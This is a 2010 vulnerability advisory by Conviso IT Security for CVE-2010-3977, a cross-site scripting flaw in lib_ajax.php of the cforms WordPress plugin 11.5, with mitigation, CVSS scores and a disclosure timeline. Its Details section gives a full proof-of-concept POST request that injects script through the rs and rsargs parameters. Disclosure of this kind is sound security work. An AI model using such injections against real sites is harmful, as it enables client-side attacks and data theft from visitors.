Security Advisory | CVE-2010-3977

cform Wordpress Plugin V 11.5

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Contents

Introduction ..............................................................................................................................2

Security Advisory .....................................................................................................................3

CVSS Issue Severity Scores ...................................................................................................5

Issue History .............................................................................................................................6

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Introduction

1. Copyright and Disclaimer

The information in this advisory is Copyright 2010 Conviso IT Security and provided so that the society
can understand the risk they may be facing by running affected software, hardware or other
components used on their systems. In case you wish to copy information from this advisory, you must
either copy all of it or refer to this document (including our URL). No guarantee is provided for the
accuracy of this information, or damage you may cause your systems in testing.

2. About Conviso IT Security

Founded on 2008 by a team of professionals working the IT Security market since 1997, Conviso IT
Security is a consulting company specialized on network and application security services. Our values
are based on the allocation of the adequate competencies on the field, a clear and direct speech with
the market, collaboration and partnership with our customers and business partners and constant
investments on methodology and research improvement.

This advisory has been discovered as part of a general investigation into the security of software used
in the IT environments of our customers. For more information about our company and services
provided, please check our website at www.conviso.com.br.

3. The Security Research

Conviso IT Security maintains a virtual team dedicated to explore our customer’s environments in order
to identify technical vulnerabilities in software and hardware, developing real-world mitigation solutions
and processes to maintain more secure environments. Leaded by Wagner Elias, our R&D Manager,
this team is named Conviso Security Labs and also contribute to important world-class organizations
projects and organizations.

The vulnerability described in this security advisory was discovered by Wagner Elias on July 24th 2010
during a penetration test project.

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Security Advisory

1. Issue Description
Created and distributed by Delicious Days (http://www.deliciousdays.com/), cforms is a rich form
plugin for WordPress, offering deployment of multiple Ajax driven contact forms throughout user’s blog
or even on the same page. An issue on version 11.5 allows the exploit of a Cross Site Scripting (XSS)
vulnerability and the consequent capability of client-side attacks for data leaking and malware
propagation.

2. Affected Components
File lib_ajax.php on version 11.5.

3. Details
The file lib_ajax.php on version 11.5 creates a data array with all values inserted on the form’s fields on
a POST requisition. As there is no data validation of the rs and rsargs parameters, it is possible to
inject malformed data by Javascript.

Request:
http://www.siteexample.com/wp-content/plugins/cforms/lib_ajax.php

POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1

Host: www.siteexample.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:
1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 219
Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do
%26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce
%26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do
%26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;
comment_author_93f41ba0b16f34676f802058e82388f6=teste;
comment_author_email_93f41ba0b16f34676f802058e82388f6=welias
%40conviso.com.br
Pragma: no-cache
Cache-Control: no-cache

rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#
$<script>alert(1)</script>$#$welias@conviso.com.br$#$http://
www.conviso.com.br$#$<script>alert(1)</script>

4. Issue Mitigation
Update to version 11.6.1.

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5. Additional Information
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2010-3977 to
this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.

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CVSS Issue Severity Scores

Conviso IT Security calculated the scores of this vulnerability using the online CVSS calculator found at
http://www.patchadvisor.com/PatchAdvisor/CVSSCalculator.aspx and described at http://
www.first.org/cvss/cvss-guide.pdf.

Criteria Description Value

Base Metrics Access Vector Remote

Value: 5.7 Access Complexity Low

Authentication Not Required

Confidentiality Impact Partial

Integrity Impact Complete

Availability Impact None

Impact BIAS Normal

Temporal Metrics Exploitability Functional

Value: 4.5 Remediation Level Official Fix

Report Confidence Uncorroborated

Environmental Metrics Collateral Damage Potential None

Value: 0 Target Distribution None

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Issue History

Date Comments

07/24/10 Issue reported to Delicious Day

07/24/10 Issue accepted by Delicious Day

09/22/10 Version 11.6.1 available with the correspondent fix

10/19/10 Issue published

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